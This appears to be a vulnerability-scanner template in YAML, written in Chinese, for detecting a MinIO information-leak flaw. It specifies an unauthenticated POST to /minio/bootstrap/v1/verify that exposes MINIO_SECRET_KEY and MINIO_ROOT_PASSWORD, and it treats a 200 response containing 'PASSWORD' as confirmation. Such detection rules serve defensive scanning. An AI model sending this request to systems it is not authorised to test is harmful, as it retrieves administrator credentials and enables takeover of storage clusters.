31 lines
819 B
YAML
31 lines
819 B
YAML
keyword: minio
|
||
name: MinIO信息泄露漏洞
|
||
description: |
|
||
在集群部署的Minio中，未授权的攻击者可发送恶意的HTTP请求来获取Minio环境变量中的敏感信息（MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD），可能导致攻击者以管理员权限登录Minio。
|
||
requests: # 为空代表默认或者不启用
|
||
path: "/minio/bootstrap/v1/verify"
|
||
method: POST
|
||
headers:
|
||
User-agent:
|
||
Content-length:
|
||
Accept:
|
||
Content-type:
|
||
Accept-Encoding:
|
||
Cookie:
|
||
Referer:
|
||
X-Forwarded-For:
|
||
body-raw: |-
|
||
|
||
response:
|
||
path: ""
|
||
status-code: 200
|
||
body: "PASSWORD" # 此处可填写响应体中确认漏洞存在的关键字或者其他信息
|
||
headers:
|
||
Server:
|
||
Content-type:
|
||
Content-length:
|
||
Date:
|
||
Connection:
|
||
impact: |
|
||
泄露系统账号密码
|